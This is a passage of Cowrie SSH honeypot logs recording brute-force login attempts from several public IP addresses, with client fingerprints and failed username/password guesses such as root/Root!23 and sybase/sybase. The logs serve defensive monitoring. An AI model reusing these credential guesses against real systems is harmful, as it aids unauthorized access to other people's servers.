enssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:47:22.802162Z","src_ip":"40.117.97.0","session":"c83791b5984b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root!23","message":"login attempt [root/Root!23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:47:22.883946Z","src_ip":"40.117.97.0","session":"c83791b5984b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:47:23.930346Z","src_ip":"40.117.97.0","session":"c83791b5984b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.79.194","src_port":49915,"dst_ip":"10.17.0.5","dst_port":22,"session":"0e2a7d9e85c2","protocol":"ssh","message":"New connection: 182.253.79.194:49915 (10.17.0.5:22) [session: 0e2a7d9e85c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:47:46.041297Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:47:46.046489Z","src_ip":"182.253.79.194","session":"0e2a7d9e85c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:47:46.302737Z","src_ip":"182.253.79.194","session":"0e2a7d9e85c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"123123","message":"login attempt [minecraft/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:47:47.358366Z","src_ip":"182.253.79.194","session":"0e2a7d9e85c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:47:48.617476Z","src_ip":"182.253.79.194","session":"0e2a7d9e85c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":60758,"dst_ip":"159.203.135.109","dst_port":22,"session":"2d6fac0c8d65","protocol":"ssh","message":"New connection: 193.37.70.224:60758 (159.203.135.109:22) [session: 2d6fac0c8d65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:48:01.606213Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.19.117.129","src_port":41876,"dst_ip":"159.203.135.109","dst_port":22,"session":"bfecd6dd359d","protocol":"ssh","message":"New connection: 139.19.117.129:41876 (159.203.135.109:22) [session: bfecd6dd359d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:48:01.670486Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:48:01.674847Z","src_ip":"193.37.70.224","session":"2d6fac0c8d65","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:48:01.681764Z","src_ip":"139.19.117.129","session":"bfecd6dd359d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:48:01.765157Z","src_ip":"193.37.70.224","session":"2d6fac0c8d65","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f1e5e9d24e5e345e8745613bde22d532","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f1e5e9d24e5e345e8745613bde22d532","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:48:01.777781Z","src_ip":"139.19.117.129","session":"bfecd6dd359d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6d:05:de:1d:94:f4:4c:f6:92:7c:18:21:fa:9c:88:70","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBTdKtwM0nNYabAq3tbWhGy6BELVnwQXZL4m+PidJ01o","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 6d:05:de:1d:94:f4:4c:f6:92:7c:18:21:fa:9c:88:70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:48:01.966496Z","src_ip":"139.19.117.129","session":"bfecd6dd359d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6d:05:de:1d:94:f4:4c:f6:92:7c:18:21:fa:9c:88:70","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBTdKtwM0nNYabAq3tbWhGy6BELVnwQXZL4m+PidJ01o","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:48:01.977331Z","src_ip":"139.19.117.129","session":"bfecd6dd359d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"petrovich","message":"login attempt [root/petrovich] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:48:02.051986Z","src_ip":"193.37.70.224","session":"2d6fac0c8d65","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":43910,"dst_ip":"10.17.0.5","dst_port":22,"session":"bc57dd8e24fd","protocol":"ssh","message":"New connection: 185.236.22.41:43910 (10.17.0.5:22) [session: bc57dd8e24fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:48:02.594663Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:48:02.620202Z","src_ip":"185.236.22.41","session":"bc57dd8e24fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:48:02.725481Z","src_ip":"185.236.22.41","session":"bc57dd8e24fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"angel123","message":"login attempt [root/angel123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:48:03.171631Z","src_ip":"185.236.22.41","session":"bc57dd8e24fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:48:03.239522Z","src_ip":"193.37.70.224","session":"2d6fac0c8d65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:48:04.288787Z","src_ip":"185.236.22.41","session":"bc57dd8e24fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:48:11.663257Z","src_ip":"139.19.117.129","session":"bfecd6dd359d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":35004,"dst_ip":"159.203.135.109","dst_port":22,"session":"225762db8dba","protocol":"ssh","message":"New connection: 193.32.162.151:35004 (159.203.135.109:22) [session: 225762db8dba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:48:11.763772Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:48:11.768836Z","src_ip":"193.32.162.151","session":"225762db8dba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":34646,"dst_ip":"159.203.135.109","dst_port":22,"session":"41a4b7b8cbab","protocol":"ssh","message":"New connection: 51.250.105.222:34646 (159.203.135.109:22) [session: 41a4b7b8cbab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:48:11.783037Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:48:11.789713Z","src_ip":"51.250.105.222","session":"41a4b7b8cbab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:48:11.869530Z","src_ip":"193.32.162.151","session":"225762db8dba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:48:11.923670Z","src_ip":"51.250.105.222","session":"41a4b7b8cbab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sybase","password":"sybase","message":"login attempt [sybase/sybase] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:48:12.182526Z","src_ip":"193.32.162.151","session":"225762db8dba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"40.117.97.0","src_port":45184,"dst_ip":"10.17.0.5","dst_port":22,"session":"fd33d8c66725","protocol":"ssh","message":"New connection: 40.117.97.0:45184 (10.17.0.5:22) [session: fd33d8c66725]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:48:12.307496Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:48:12.320436Z","src_ip":"40.117.97.0","session":"fd33d8c66725","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"d12345","message":"login attempt [root/d12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:48:12.329244Z","src_ip":"51.250.105.222","session":"41a4b7b8cbab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:48:12.336561Z","src_ip":"40.117.97.0","session":"fd33d8c66725","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test01","message":"login attempt [root/test01] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:48:12.429284Z","src_ip":"40.117.97.0","session":"fd33d8c66725","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:48:13.296860Z","src_ip":"193.32.162.151","session":"225762db8dba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:48:13.448097Z","src_ip":"40.117.97.0","session":"fd33d8c66725","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:48:13.461345Z","src_ip":"51.250.105.222","session":"41a4b7b8cbab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.91.48.142","src_port":60974,"dst_ip":"10.17.0.5","dst_port":22,"session":"05ee84ca3b66","protocol":"ssh","message":"New connection: 115.91.48.142:60974 (10.17.0.5:22) [session: 05ee84ca3b66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:48:21.107857Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:48:21.112825Z","src_ip":"115.91.48.142","session":"05ee84ca3b66","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-h